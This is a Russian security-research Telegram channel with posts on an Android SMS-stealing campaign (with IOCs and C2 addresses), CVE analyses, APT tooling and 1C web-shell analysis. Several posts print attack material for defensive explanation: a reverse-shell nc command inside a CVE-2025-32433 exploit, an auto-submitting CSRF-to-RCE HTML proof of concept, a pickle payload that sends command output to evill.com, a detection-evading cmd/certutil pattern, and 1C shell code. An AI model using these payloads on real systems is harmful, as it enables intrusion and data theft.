Четыре луча – Telegram
Четыре луча
3.87K subscribers
83 photos
98 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
Очередная кампания по рассылке Android-вредоносов в Telegram ✈️

Рассылка началась ориентировочно в конце марта и продолжается до сих пор. Вредонос сопровождается сообщениями, которые склоняют жертву к немедленному запуску мимикрирующего под фото или видео APK-файла (Скриншот 1).

По функционалу распространяемый вредонос похож на PhotoAndroidMalware, о котором недавно сообщили коллеги из F6.

Мы считаем, что обнаружили одну из новых вариаций этого ВПО. Она тоже работает с SMS:
— эксфильтрует последние 14480 SMS-сообщений;
— эксфильтрует информацию о зараженном устройстве, установленных приложениях банков, мессенджеров, маркетплейсов и «Госуслуг», а также содержимое буфера обмена;
— регистрирует себя как приложение для приема SMS по умолчанию и перенаправляет на сервер управления SMS-сообщениями от Telegram.

Особенности вредоноса

💣 После запуска ВПО сначала получает конфигурацию воркера со специального сервера конфигураций. В конфигурации указаны: команда, имя и telegram handle воркера, номер телефона как резервный канал получения уведомлений о заражениях.

💣 Из собранных конфигураций мы обнаружили 10 серверов управления для эксфильтрации SMS.

💣 Во всех конфигурациях используются одинаковые параметры AES-шифрования. В начале кампании использовался один и тот же номер телефона для перенаправления SMS, но в последних образцах стали появляться новые.

💣 После заражения злоумышленники получают возможность отправлять SMS от имени жертвы на заданный номер по команде. Команда приходит в специально сформированном входящем SMS (Скриншот 2).

💣 Злоумышленники работают оперативно — после заражения очередной жертвы уже через 13 минут злоумышленники рассылали ВПО всем контактам в Telegram.

Мы предполагаем, что на телефоне злоумышленников из конфигурации установлено аналогичное ВПО, которое обрабатывает такие SMS и POST-запросом отправляет данные жертвы и воркера на сервер управления команды.

Такая схема может позволить получать данные о зараженной жертве, даже если на телефоне жертвы не будет интернета, а серверы управления ВПО заблокируют (Скриншот 3).

Как защититься

Если вы стали жертвой, нужно найти приложение и удалить его из списка установленных. Обычно имя вредоносного приложения совпадает с именем присланного apk-файла (Скриншот 4).

IOC
md5:
31210d375856bee724080f69b4c5e81a
8955c7ee6b1b6adc50838a0b7e6c7b6f
8a602991a6fdc161cdb6763871346f99
33f2215163e708a2453e166c4f110c47

7f5f91b0e1a2320655d103cbdda5ebdf
c80574ce2840120608f2026507710062
9931eb52878c5957251014b750bb781c
32c22d0fe9b8afb65e405165694a6bd5
2d05bc8a1a38517e2abd3183e3c6923e
09f829e6b4e32751dbc9a776cce0f902


Имена apk-файлов:
Архив фото (88).apk
Mega видео (Архив).apk
Фoт0(4)9_0.4_2025.apk
Яндekc Buдeo.apk
Документы (3).apk
Video.1)1.226293.apk
YandexDisc.apk
Фото (53 шт.).apk


Сервер конфигураций воркеров:
http://185.100.157.190:8000


C2-серверы команд:
http://89.23.101.185:120
http://89.23.102.98:120
http://89.23.102.238:120
http://91.92.46.212:120
http://91.92.46.228:120
http://185.177.239.24:100
http://185.177.239.24:120
http://185.100.157.82:120
http://185.100.157.227:100
http://185.100.157.237:120
http://193.68.89.199:120
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍12👾42🤡1
Советы пентестерам на 2025 год 🚩

Наша OffSec-команда выпустила отчет о ключевых уязвимостях инфраструктур российских компаний в 2024 году. Повторяться не будем — сконцентрируемся на трендах в пентесте, которые могут быть актуальны в 2025.

😬 Проверяйте CMS

Все еще обнаруживаются уязвимости в функциональности vote популярной CMS-системы 1С Bitrix и ее производных. Эксперты советуют перечитать работу исследователя cr1f о безопасности Bitrix и не вычеркивать ее из своих сплойтов. А еще — не забывать фаззить Bitrix специализированными словарями.

😬 Импортозамещение может быть уязвимым

Наши эксперты все чаще исследуют безопасность российских аналогов зарубежных сервисов. Разработчики не всегда успевают провести оценку безопасности приложения или системы, поэтому обнаруживается много изъянов и в базах данных, и в логике процессов приложений.

😬 Классические проблемы с паролями

Пароли по умолчанию, слабые парольные политики и переиспользование паролей остаются проблемой в российских организациях. Обстоятельная разведка аутентификационных данных в открытых источниках перед пентестом — приличная часть работы, которую OffSec-эксперты регулярно делали в прошлом году.

Разведка позволяет собрать учетные записи и пароли еще до старта пентеста и потом использовать эти данные, применяя технику password spraying на инфраструктуре, которую надо проверить. Для поиска секретов наши эксперты рекомендуют использовать Trufflehog.

😬 Готовимся к атакам на Active Directory и FreeIPA

Во внутренней части инфраструктур в топе атак на AD стоит ESC. В 2024 году наши пентестеры начали замечать, что многие организации переходят на FreeIPA-решения. Они, как и импортозамещающие продукты, содержат немало изъянов. Эксперты советуют обратить на FreeIPA внимание и начать готовиться к атакам на нее.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13🤔5👏2👾2
Десятибалльная уязвимость CVE-2025-32433 👾

CVE-2025-32433 — Remote Code Execution-уязвимость в SSH-серверах на базе Erlang/OTP, которая позволяет получить несанкционированный доступ к уязвимым системам и выполнять произвольные команды без аутентификации.

Метрики
Base Score: 10.0 CRITICAL
CWE-306


Уязвимы версии

<= OTP-27.3.2
<= OTP-26.2.5.10
<= OTP-25.3.2.19


Как происходит атака

По стандарту канал для выполнения команд SSH-клиентом открывается после прохождения аутентификации, в противном случае сообщение будет отвергнуто или приведет к разрыву соединения.

Но уязвимые версии Erlang/OTP могут не проверять стадию аутентификации и обрабатывать CHANNEL_OPEN и exec сразу. Это приводит к тому, что для выполнения команд на сервере злоумышленникам достаточно иметь сетевой доступ к нему.

Из чего состоит эксплоит

Эксплоит может состоять из четырёх клиентских SSH-пакетов после установления TCP-соединения.

1️⃣ Обмен баннерами. Клиент отправляет строку, сервер отвечает своей:
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)


2️⃣ Инициализация обмена ключами:
kex_packet = build_kexinit()
s.sendall(pad_packet(kex_packet))


3️⃣ Отправка SSH-пакета типа SSH_MSG_CHANNEL_OPEN с «просьбой» открыть канал, как будто клиент уже прошел аутентификацию:
chan_open = build_channel_open()
s.sendall(pad_packet(chan_open))


4️⃣ Запрос на выполнение команды:
chan_req = build_channel_request(
command='file:write_file("/lab.sh", <<"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.0.22 8080 >/tmp/f">>), os:cmd("chmod +x /lab.sh"), os:cmd("/lab.sh").'
)
s.sendall(pad_packet(chan_req))


Пример выполнения CVE-2025-32433


Для примера отправим пакет, содержащий команду создания и выполнения Reverse Shell-кода, для получения контроля над уязвимым сервером:
file:write_file("/lab.sh", <<COMAND>>), os:cmd("chmod +x /lab.sh"), os:cmd("/lab.sh").


file:write_file("/lab.sh,<<COMAND>>)
— создаст sh-скрипт c необходимой командой;

os:cmd("chmod +x /lab.sh") — предоставит права на выполнение;

os:cmd("/lab.sh") — запустит Reverse Shell.

Как детектировать и защититься


Важно следить, что сообщения типов MSG_CHANNEL_OPEN и MSG_CHANNEL_REQUEST не передаются в открытом виде в сетевом трафике. Согласно RFC 4253 и 4254, обмен такими сообщениями осуществляется после обмена ключами и аутентификации в зашифрованном виде.

Для написания IDS-сигнатур можно обратить внимание на структуру таких сообщений:
      byte      SSH_MSG_CHANNEL_OPEN # значение 0x5a
string "session"
uint32 sender channel
uint32 initial window size
uint32 maximum packet size

      byte      SSH_MSG_CHANNEL_REQUEST # значение 0x62
uint32 recipient channel
string "exec"
boolean want reply
string command

Содержимое полей string может меняться в зависимости от типа, а приведенные выше session и exec соответствуют запросам на открытие канала и выполнение команды. Появление в сетевом трафике SSH в открытом виде таких сообщений может свидетельствовать о попытках эксплуатации уязвимости.

❗️ Настоятельно советуем обновиться до последних версий, а до этого ограничить доступ к SSH.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15🫡732🌚1
Критическая уязвимость CVE-2025–39601 👾

CSRF-атаки все еще актуальны, особенно если мы говорим про плагины к популярным CMS. Сегодня расскажем, к чему они могут привести, на примере CVE-2025–39601.

CVE-2025–39601 — уязвимость подделки межсайтовых запросов (CSRF) в плагине WPFactory Custom CSS, JS и PHP для WordPress.

❗️ Уязвимы все версии до 2.4.1, рекомендуем обновиться.

Метрики

Base Score: 9,6
CWE: CWE-352


Как это работает


После установки плагина WPFactory Custom CSS, JS и PHP у администратора появляется возможность создавать собственные PHP скрипты на конечной точке /wp-admin/tools.php?page=alg-custom-php. Сам PHP код и другие параметры передаются в теле POST-запроса:
alg_custom_css_php_enabled=1&alg_custom_css_php_execute=plugins_loaded&alg_custom_css_php=<?php system(id); ?>&alg_ccjp_submit=php


В передаваемых данных при создании скрипта отсутствует CSRF-токен, нет и отдельного HTTP-заголовка или значения COOKIE, содержащего токен. Этот запрос можно будет подделать и создать скрипт от лица администратора, что приведет к RCE.

Пример

Классический сценарий атаки будет выглядеть так:
Администратор получает вредоносную ссылку на приложение -> администратор переходит по ссылке -> от лица администратора создаётся скрипт с вредоносным кодом, который приводит к RCE.


Вредоносное приложение имеет такую HTML-структуру:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<noscript>WordPress Custom CSS, JS & PHP plugin <= 2.4.1 - CSRF to RCE vulnerability </noscript>
</head>
<body onload="document.forms[0].submit()">
<h1>CSRF PoC - WordPress Custom CSS, JS & PHP plugin <= 2.4.1 </h1>
<form action="http://XXX/wp-admin/tools.php?page=alg-custom-php" method="POST">
<input type="hidden" name="alg_custom_css_php_enabled" value="1">
<input type="hidden" name="alg_custom_css_php" value="<?php system('id'); ?>">
<input type="hidden" name="alg_ccjp_submit" value="php">
<nonoscript>
<input type="submit" value="Submit">
</nonoscript>
</form>
</body>
</html>

Код передается в блоке alg_custom_css_php. В данном случае, для примера, мы выведем результат команды id, который сможет увидеть любой пользователь приложения (Скриншот 1).

Этот POST-запрос будет полностью эмулировать легитимный запрос администратора, и только заголовок Origin будет содержать информацию о другом приложении (Скриншот 2).

Как защищаться

1️⃣ Не отсылать или ограничить отсылку COOKIE файлов сторонним сайтам или приложениям;

2️⃣ использовать CORS;

3️⃣ использовать CSRF-токен;

4️⃣ дополнительно проверять на валидность заголовки Origin, Referer.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👨‍💻6👍5👾21🤔1
Веб-панель Bulldog Backdoorглавный инструмент Shedding Zmiy 🐍

Исследуя инфраструктуру группировки Shedding Zmiy, мы обнаружили в открытом доступе веб-панель Bulldog Backdoor. Фронтенд написан с помощью фреймворка React.js с использованием TypeScript. Мы смогли выгрузить исходный код компонентов в первозданном виде (Скриншот 1 — структура проекта).

Проанализировав панель, наша команда поняла подходы Shedding Zmiy к построению части своей C2-инфраструктуры. Это пролило свет на экосистему имплантов и их связи, а также на механизмы работы Bulldog Backdoor.

Веб-панель Bulldog Backdoor — ключевой элемент экосистемы группировки:
— Агрегирует данные, полученные в ходе атак.
— Служит интерфейсом управления активными операциями.
— Помогает централизованно контролировать всю сеть зараженных систем.


Веб-панель Bulldog Backdoor помогает Shedding Zmiy

💣Генерировать новые импланты для Bulldog Backdoor и beacon’ы других типов.

💣 Управлять активными сессиями в сети жертвы.

💣 Передавать команды отложенного исполнения — вероятно, для имитации активности в разных часовых поясах.

💣 Собирать подробную статистику по сессиям: активным, завершённым, потерянным.

💣 Просматривать интерактивную карту зараженной инфраструктуры в режиме реального времени (Скриншот 2 — так она могла бы выглядеть).

💣 Работать с данными на разных уровнях абстракции за счет многоуровневой системы сущностей — «Цель», «Хост» и др.

💣 Осуществлять автоматизированный брутфорс на основе собранных учетных данных.

💣 Легко передавать критически важную информацию между операторами с помощью системы заметок для целей и хостов с поддержкой Markdown (Скриншот 3 — пример заметки).

🔗 Полный технический разбор веб-панели Bulldog Backdoor версии v0.1.15 читайте в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍124👾2
Уязвимость виртуальной машины «Битрикс» в арсенале Shedding Zmiy ⚡️

Недавно ФСТЭК России распространила уведомление об уязвимости BDU:2025-04539 в сервере «1С-Битрикс: Виртуальная машина». Из-за недостатков в разграничении прав доступа атакующие могли поднимать свои права на скомпрометированном сервере до root.

Наша команда обнаружила эту уязвимость, когда анализировала утилиту Install — один из вредоносных инструментов группировки Shedding Zmiy. Его атакующие могли использовать для размещения на атакованном сервере бэкдора с функциональностью получения root-привилегий.

Уязвимость заключается в неправильной конфигурации доступов для пользователя bitrix.

😬 Пользователь имел доступ к настройкам веб-серверов Apache и Nginx.

😬Собрав вредоносный модуль и изменив настройки веб-сервера, злоумышленники могли повысить свои привилегии до уровня root.

😬 Мы нашли дополнительные ошибки в конфигурации доступа файлов служб Linux, используемых в виртуальной машине. Они позволяли внедрить произвольный код в скрипт службы и исполнить его от пользователя root.

Обнаружив уязвимость, мы сразу же сообщили о ней вендору. Патч, закрывающий уязвимость, уже доступен на сайте. Если ещё не обновились — сейчас самое время!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍43🤔1👾1
Как Erudite Mogwai обходит правила детектирования 👣

Уже в нескольких кейсах мы видим, как группировка Erudite Mogwai (или Space Pirates) при боковом перемещении использует один и тот же паттерн выполнения команд:
C:\Windows\System32\calc.exe..\..\cmd.exe /C <COMMAND> > C:\Users\Public\<OUTPUT_NAME> 2>&1 & certutil -f -encode C:\Users\Public\<OUTPUT_NAME> C:\Users\Public\<OUTPUT_NAME> 2>&1


<COMMAND>
— произвольная cmd-команда;

<OUTPUT_NAME> — имя файла, где будет сохранен вывод команды, закодированный в Base64 с помощью certutil. Обычно оно соответствует регулярному выражению [A-z]{8}.log.

Если атакующие выполняют команды с использованием задач (AtExec), то имя задачи обычно соответствует имени файла <OUTPUT_NAME>, но без расширения.

Зачем Erudite Mogwai используют такой паттерн

💣 Некоторые средства АВПО неправильно обрабатывают этот командлайн, в журналах оказывается лишь certutil -f -encode C:\Users\Public\<OUTPUT_NAME> C:\Users\Public\<OUTPUT_NAME> 2>&1. Это затрудняет исследование активности.

💣 Если правила детектирования подозрительных запусков командной оболочки используют полный путь к cmd, например C:\Windows\System32\cmd.exe /C — то они не сработают. Аналогично с правилами детектирования АВПО.

💣 После выполнения certutil файл с выводом команды будет менее понятным для неподготовленного администратора:
-----BEGIN CERTIFICATE-----
U0FOREJPWFxVc2Vy
-----END CERTIFICATE-----

Вывод команды whoami — SANDBOX\User.

Но есть и хорошие новости

👀 Логирование процессов Event ID 4688 в журнале Windows Security обрабатывает командлайн корректно.

👀 Паттерн команды приметный, и аналитик наверняка засомневается в его легитимности.

👀 Иногда атакующие забывают удалить файл с выводом C:\Users\Public\<OUTPUT_NAME>. Так можно найти системы, где уже побывал Erudite Mogwai.

👀 Можно быстро обнаружить значительную часть активности атакующих, грепнув по диску calc.exe..\..\cmd.exe, в том числе в неразмеченном пространстве.

Используйте эту информацию при написании детектов.

Удачной охоты! 👀
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17👾64👀3💩1
Инструменты Shedding Zmiy в веб-панели Bulldog Backdoor

Генерация новых имплантов в веб-панели не ограничена одним Bulldog Backdoor. Она объединяет в себе многие инструменты группировки Shedding Zmiy.

В исходном коде мы обнаружили упоминание девяти типов beacon'ов (Скриншот 1):
— gecko;
— revshell;
— proxy;
— teardrop;
— gwyntyk;
— gsnetcat;
— puma;
— mycelium;
— mushroom.

Некоторые из них — ранее не документированные. Но есть и узнаваемые: например, имплант puma, о котором у нас есть отдельная статья.

Интересные факты о веб-панели Bulldog Backdoor 🔎

1️⃣ Встроенная поддержка модулей Bulldog Backdoor

В панели есть категория имплантов bb, включающая bb-shell, bb-custom, и отдельная категория collector (Скриншот 2).

Судя по коду, bb — это бинарь-обертка, объединяющий несколько модулей: collector, revshell, proxy, gecko (Скриншот 3). Вариант bb-custom позволяет оператору выбрать, какие именно компоненты должны быть включены в финальный исполняемый файл — через специальное поле Parts в интерфейсе генерации.

2️⃣ Среди имплантов есть gsnetcat

Еще он встречается на странице Remote sessions. Эта страница в веб-панели до сих пор имеет путь /ui/gs-netcat, а соответствующий ей React-компонент называется NetcatTablePage.

Это наследие старых версий. Вероятно, раньше эта вкладка была связанна только с gsnetcat, но ее забыли или не захотели переименовывать.

3️⃣ Вкладка Patched bins на странице Target host (Скриншот 4)

Мы полагаем, что она отображает подменные легитимные исполняемые файлы — излюбленная техника группировки Shedding Zmiy.

Веб-панель Bulldog Backdoor — не просто интерфейс управления одним бэкдором, а многофункциональный командный центр, объединяющий весь вредоносный инструментарий Shedding Zmiy. Ее функциональность и архитектура делают ее ядром всех операций группировки, обеспечивая масштабируемость, автоматизацию и гибкость в проведении атак.


👍 Подробнее о веб-панели Bulldog Backdoor — в нашем исследовании.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
9👍9🔥9👾1
Бэкдор VipNet: все новое — хорошо забытое старое

В апреле наша команда проводила оценку компрометации инфраструктуры одного органа исполнительной власти. В каталоге с резервной копией ViPNet мы обнаружили вредоносный файл msinfo32.exe, размещенный на хосте летом 2022 года.

😬 Мы проанализировали файл и выяснили, что это загрузчик ранее не встречавшегося нам бэкдора. Он был частью архива, мимикрировавшего под обновление ПО ViPNet.

😬 А недавно коллеги из «Лаборатории Касперского» выпустили отчет о бэкдоре, который тоже мимикрировал под обновления ViPNet: он использовал такие же схему запуска и загрузчик.

😬 Все это вернуло нас в 2021 год, когда при расследовании одного инцидента мы столкнулись с аналогичной картиной. Недостаток безопасности в системе обновления ViPNet для доставки и запуска вредоносной полезной нагрузки любят использовать восточно-азиатские APT-группировки.

Мы сравнили цепочку запуска вредоносной нагрузки из апрельского кейса и с цепочкой из 2021 года: они оказались почти идентичными.

👀 Подробности о бэкдоре VipNet и как от него защититься — в новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥18👍11❤‍🔥5🤔2👀2
Статический анализ контейнеров 1C 👀

Недавно коллеги из PT рассказывали про 1С Shell, который позволяет выполнять произвольные команды на Windows и на Linux, читать файлы и много чего еще.

Сегодня хотим поделиться с вами обзором утилиты для статического анализа на примере одного шелла. Она поможет определить функциональность шелла и узнать полезные подробности для команды реагирования — например, что выполненные через этот шелл команды записываются в файл %TEMP%\res.txt.

1C shell — это контейнер 1С (расширения файлов CF, EPF, ERF, CFE). Формат уже давно разобран, например, здесь и здесь.


Основные особенности контейнеров 1С

— Имеют заголовок FF FF FF 7F;

— Представляют из себя нечто вроде виртуальной файловой системы: контейнер хранит в себе различные документы, которые состоят из блоков;

— Большинство данных упакованы алгоритмом Deflate, из-за чего в файле почти нет полезных читаемых строк, кроме нескольких UUID строчек.

Для анализа такого файла можно загрузить его в 1С, но если под рукой нет этого ПО, можно воспользоваться утилитами — сегодня разберем pfCFTools.

Как работает утилита pfCFTools для анализа контейнеров

pfCFTools — это утилита для работы с файлами CF/CFE/CFU/EPF/ERF и подобными.

Для сборки нужно загрузить IDE Free pascal и запустить команду:
fpc.exe pfCFTool.lpr


Использование:
pfCFTool.exe -u Обработка.epf -c auto -d res_dir -r
-u – unpack;
-c – compression;
-d – directory to unpack;
-r – recurse processing.

В каталоге res_dir появляются распакованные файлы и каталоги.

Вспомогательные файлы для работы с метаданными:

version.deflate – информация о версии контейнера;

versions.deflate — пары id метаданного (связанная совокупность файлов) и id-версии метаданного;

root.deflate — id файла с описанием структуры метаданных для контейнеров CF, EPF, ERF (форматы файлов 1С);

copyinfo.deflate — информация об изменениях в формате внутренних данных 1С.

Остальные файлы:

uuid.deflate (ce244e8a-6d30-4e49-a244-c6d80d2ea085.deflate);

uuid.type.deflate (ce244e8a-6d30-4e49-a244-c6d80d2ea085.0.deflate), где 0 — это постфикс модуля объекта, где как раз располагается 1С-код шелла — самый полезный файл;

каталоги c uuid.

Для чего нужен каждый файл, например, описано здесь. В файле ce244e8a-6d30-4e49-a244-c6d80d2ea085.0.deflate на 3283 строке начинается код модуля, который реализует функционал шелла.

Выжимка из кода:
Процедура ПриСозданииНаСервере(Отказ, СтандартнаяОбработка)
УстановитьПривилегированныйРежим(Истина);
СисИнфо = Новый СистемнаяИнформация;
Платформа = СисИнфо.ТипПлатформы;
ВерсияОС = СисИнфо.ВерсияОС;
ИмяКомпьютера = ИмяКомпьютера();
ПапкаВременныхФайлов = КаталогВременныхФайлов();
Объект.ИмяФайлаВывода = КаталогВременныхФайлов() + ""res.txt"";
Объект.Способ = ""WScript.Shell"";
Платформа2 = ""Windows"";
Объект.Кодировка1 = ""cp866"";
Объект.Кодировка2 = ""cp866"";

КонецПроцедуры

У утилиты pfCFTools есть один минус: нужно копаться в непонятных файлах и искать код шелла.

Ставьте ⚡️, если нужен разбор еще двух утилит для анализа 1C шелла.
Please open Telegram to view this post
VIEW IN TELEGRAM
25🔥9👍6👾2👀1
ML под угрозой: критическая уязвимость CVE-2025-32375 👾

CVE-2025-32375 — уязвимость небезопасной десериализации в BentoML, позволяющая выполнить произвольный код на сервере.

❗️ Уязвимы все версии до 1.4.8 — рекомендуем обновиться.

BentoML — это фреймворк для упаковки, деплоя и сервинга моделей машинного обучения.

Метрики 📈

Base Score: 9.8, критический

CWE: CWE-502


Детали уязвимости 🔎

Атака происходит с использованием POST-запроса. Для запуска цепочки, проводящей к небезопасной десериализации, в запросе нужен заголовок args-number, значение которого равно 1. Еще в запросе должны быть дополнительные заголовки:

Content-Type — может принимать разные значения, например: application/vnd.bentoml.pickled, application/x-www-form-urlencoded, application/octet-stream;

Payload-Container — значение NdarrayContainer или andasDataFrameContainer;

Payload-Meta — значение в формате json {"format": "default"};

Batch-Size — значение в формате int.

Полезная нагрузка

Полезная нагрузка — это сериализованный объект:
\x80\x04\x95K\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c0curl -X POST -d "$(id)" http://evill.com\x94\x85\x94R\x94

При десериализации она отправит вывод команды id на удаленный сервер evill.com.

Пример эксплуатации

👀 Злоумышленники запускают прослушивание порта на удаленном сервере, например, через netcat.

👀 С атакующего хоста запускается эксплойт.

👀 Ответ приходит на удаленный сервер.

Рекомендации по детектированию

1️⃣ Проверяем, что запрос отправлен методом POST;

2️⃣ Проверяем наличие всех заголовков;

3️⃣ Проверяем, что args-number равен 1;

4️⃣ Проверяем, что body является сериализованной строкой.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥16👍9❤‍🔥4🤔2👾1
Статический анализ контейнеров 1C, часть 2

Как и обещали, продолжаем рассказывать об утилитах для анализа 1С шеллов.

Python-версия старейшей утилитыV8unpack python 🐍

Есть много реализаций утилиты V8Unpack, которая была сделана для работы с контейнерами CF. Но у V8unpack python есть два преимущества:

👀 Она декодирует заголовки и разбивает по типам метаданных.

👀 Организует код и структуру хранения.

Использование:
v8unpack_py.exe -E Обработка.epf unpacked


В результате работы в каталоге unpacked получаем понятную структуру:
│   ExternalDataProcessor.data803.json
│ ExternalDataProcessor.json
│ ExternalDataProcessor.obj.bsl

└───Form
└───ВыполнитьКомандуСистемы
Form.elem.json
Form.id.json
Form.json
Form.obj.bsl

Файлы с расширением bsl содержат 1С-код, который в нашем примере относится к шеллу. Можно сразу анализировать их.

Оригинальная утилита v8unpack сложна в использовании:

1️⃣ Сначала нужно распаковать epf-контейнер:
v8unpack.exe -u Обработка.epf out

В результате получается несколько файлов вида:
имя_файла1.header, имя_файла1.data, имя_файла2.header, имя_файла2.data


2️⃣ Данные каждого data-файла сжаты алгоритмом Deflate, поэтому их нужно распаковывать отдельной командой:
v8unpack.exe -i out\ce244e8a-6d30-4e49-a244-c6d80d2ea085.0.data out\ce244e8a-6d30-4e49-a244-c6d80d2ea085.0.data.unp

Именно поэтому мы советуем использовать v8unpack в python-реализации. А для любителей RUST есть частично портированная версия утилиты — v8unpack-rs.

Самая простая утилита V8Reader 😎

Эта GUI-утилита для анализа 1С контейнеров — самая наглядная и удобная в использовании. Внешний вид после открытия файла Обработка.epf — на Скриншоте 1.

Для просмотра кода модулей нужно выбрать «Действия» > «Модуль объекта» или перейти на вкладку «Модуль» при просмотре форм (Скриншот 2).

В утилите есть подсветка кода и сворачивание функций (Скриншот 3), визуально видна структура элементов — это очень удобно.

P.S. Кстати, 1C шеллы могут быть в виде файлов с расширением DT.

Ставьте 🔥 — если хотите узнать, что это за формат и как статически анализировать такой shell.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17👍832🥱1👾1
Анализ 1C Shell в формате DT

Продолжаем говорить об утилитах для статического анализа 1С шеллов. Сегодня разберемся, как анализировать шелл в виде файла с расширением DT.

Файл в формате DT — это файл выгрузки информационной базы 1С. Имеет заголовок 1CIBDmpF2, где 2 – версия формата.


Это также бинарный формат, для которого доступно не так много инструментов, как для 1С-контейнеров. Делимся, на наш взгляд, самым полезным.

Как работает утилита pfDTTools

Эту утилиту разработал автор pfCFTools, который также написал статью о формате DT.

Она позволяет получить в текстовом формате содержимое дампа:
pfDTTools.exe -dump 1C-Shell.dt dump.txt


В dump.txt — скобочная запись 1С с описанием конфигурации и данных в виде:
{"CompatibilityMode",2},
{"CustomFlag","IndexCompatibility",0},
{"CustomFlag","UseMVCC",0},
{
"Folder","Config", {0, {CFG1}, {CFG2}, ..., {CFGN}}
},
{"Folder","ConfigSave", {0}},
{"Folder","Params", {0}},
{
"Folder","Files", {0, {FILE1}, {FILE2}, ..., {FILEN}}
},
{"Folder","DepotFiles", {0}},
{
"Users", {0, {USER1}, {USER2}, ..., {USERN}}
},
{
"DataBase", {...}
}


Формат dump.txt, полученный из 1C-Shell.dt

Файл содержит 1024 строки. Большинство данных представлено в виде hex-строк, например, CFG1-файл из "Folder", "Config":
{1,"457b7c51-a590-45aa-a80d-6f4fa4ea4665",1,636709669640000,1,636709669640000,1,0,1,165,1,
{
0,958f310ec2300c4577a45e22acb114274e9dcc9cc44ed3095109c454e5640c1c892b9016216624eb0df6f7fff6ebf15cd10e879536a0dfb9c1596729b272890812b3038a2220c94d30ce340b55a1718ccd9ad372b92de76a3ebbe67a37bf5e1f9bee8436f8ea128b025246a0ac23880a0385c8a88452bcdad0766df7d90f314763915d9aa79e5cb454209f3268e0008e250a93d69ad162fb4beedb70d86afff3cbeee1da1b
}
},


hex-строка — это сжатые deflate-данные:
{1,{4,{1,{0,0,48f8828c-5187-43bd-9e70-1f2c124c2c0f},"Заставка",{1,"ru","Заставка"},"",0,1,8eb4fad1-1fa6-403e-970f-2c12dbb43e23,3},4},0}


Декодировать можно, например, в Cyberchef, скопировав hex-строку и используя рецепт: from hex + raw inflate.

Иногда данные представлены без сжатия, поэтому raw inflate не нужен.

Какие еще данные содержатся в dump.txt

Большую часть занимают данные "DataBase". В них нет кода шелла, они содержат настройки внешнего вида контейнеров, например:

"DesktopCustomization/Такси/НастройкиОкна", "Kraud",1,"РабочийСтол/Такси/НастройкиОкна" и т.д.

В данных — 1С-контейнер.

Самое интересное располагается в "Folder","Config".

Код "ОбщийМодульПривилегированный":
Функция ВыполнитьКоманду(КоманднаяСтрока) Экспорт
WshShell = Новый COMОбъект("WScript.Shell");
ИмяВременногоФайла = ПолучитьИмяВременногоФайла("txt");
Запуск = "%comspec% /c " + КоманднаяСтрока + " > " + ИмяВременногоФайла;
WshShell.Run(Запуск, 0, Истина);
Текст = Новый ТекстовыйДокумент;
Текст.Прочитать(ИмяВременногоФайла, КодировкаТекста.OEM);
Возврат Текст.ПолучитьТекст();
КонецФункции


Здесь видим, что содержимое команд также записывается во временный txt-файл.

Этот модуль используется в коде основного модуля:
&НаСервере
Процедура ПриСозданииНаСервере(Отказ, СтандартнаяОбработка)
СисИнфо = ОбщийМодульПривилегированный.ПолучитьСистемнуюИнформацию();
Uname = СисИнфо.Uname;
User = СисИнфо.User;
ServerIP = СисИнфо.ServerIP;
ОчиститьТекстовыйДокумент();
СочетаниеКлавиш = """";
ОбщийМодульПривилегированный.НазначитьНестандартноеСочетаниеКлавиш(СочетаниеКлавиш, 13);
Команды.Найти(""КомандаВыполнить"").СочетаниеКлавиш = СочетаниеКлавиш;
КонецПроцедуры

В нем есть и другие функции: ПолучитьIPАдресКлиента, КомандаВыполнить, КомандаВыполнитьНаСервере и другие служебные.

В "Users" видно пользователя Kraud и еще одного (имеется только GUID):
1,0198C9EA-8ABB-4F2E-842D-16A6AB40338D,1,"Kraud",1,"Kraud",0,1,636631014780000,1,1,1,1,1,


Мы показали, что анализ дампа DT-файла вполне возможен без ПО 1С.
Да, он не такой удобный, но позволяет узнать подробности.

Надеемся, этот пост поможет исследователям, если они когда-нибудь столкнутся с 1С шеллами!
🔥12👍108🤗1👾1